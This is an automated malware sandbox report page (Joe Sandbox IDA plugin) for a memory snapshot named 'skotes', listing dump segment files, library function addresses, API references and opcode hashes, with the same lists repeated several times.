Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: d5f5cf2383bd772089da2b72616668d6c724032aefa2869debe1637c14386642
Instruction ID: e326a003abacd8f445702cf6f536eef5f6c1e1976b3f65c0a998af9b7f58804c
Opcode Fuzzy Hash: d5f5cf2383bd772089da2b72616668d6c724032aefa2869debe1637c14386642
Instruction Fuzzy Hash: 7AC1E3709083089BDF20DFA4C845BEBBBF4AF45314F10552EE856B7691EB75A904CBA1

Function 00EC44DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00EC4538
ListArray.LIBCONCRT ref: 00EC456C
Hash.LIBCMT ref: 00EC45D5
Hash.LIBCMT ref: 00EC45E5

Part of subcall function 00EC9C41: std::bad_exception::bad_exception.LIBCMT ref: 00EC9C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 00EC474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00EC47A4

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: 2103aa6b81d8a141440fefa10af6eaa2dbedd05b007df8386b29141a68d0ac87
Instruction ID: 87f24312dc1fd8a416b3b1ad7cac0e0644cf8cf376cf2433613b8ee0af201557
Opcode Fuzzy Hash: 2103aa6b81d8a141440fefa10af6eaa2dbedd05b007df8386b29141a68d0ac87
Instruction Fuzzy Hash: 508182B0A11B52BBD308EF748945BD9FAE8BF09704F10121FF528A7281DBB5A521CBD0

Function 00EBECE6 Relevance: 9.1, APIs: 6, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00EBECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00EBED17

Part of subcall function 00EBF3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00EBF3FA

__alloca_probe_16.LIBCMT ref: 00EBED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 00EBED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00EBEDC6
__freea.LIBCMT ref: 00EBEDEC

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16__freea
String ID:
API String ID: 1319684358-0
Opcode ID: de194bcbb99e1caaa1ca327463e727b54fdfbe2c0316b312e78fed51ebdcf952
Instruction ID: 5f1fe34af057d6ca7ea0690b520b88d3d3cc4ae9c6cab45d679af24e28fc9c0f
Opcode Fuzzy Hash: de194bcbb99e1caaa1ca327463e727b54fdfbe2c0316b312e78fed51ebdcf952
Instruction Fuzzy Hash: 54319A71A0020A8FCB15DFA8C9416EEB7F4EF49314B24506EE945F7391DBB49E02CBA1

Function 00EBEE5F Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00EBEEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 00EBEEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00EBEEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00EBEF0F
Concurrency::Context::Block.LIBCONCRT ref: 00EBEF31

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: 7c41cfba4c0c0c2338091073cd16ed3c9420909e049fca4d1b49811ac87661f1
Instruction ID: f97a37b0106d54063c8383b7719b4b87a572a064e1d5186e5aa4fb8eb079d8f2
Opcode Fuzzy Hash: 7c41cfba4c0c0c2338091073cd16ed3c9420909e049fca4d1b49811ac87661f1
Instruction Fuzzy Hash: E7215C70D14249CADF24DFA4C9456FFB7F0BF14324F202A2AE151B62D1E7B18A45CB50

Function 00EDCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00EDCC66

Strings

v, xrefs: 00EDCBE1

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
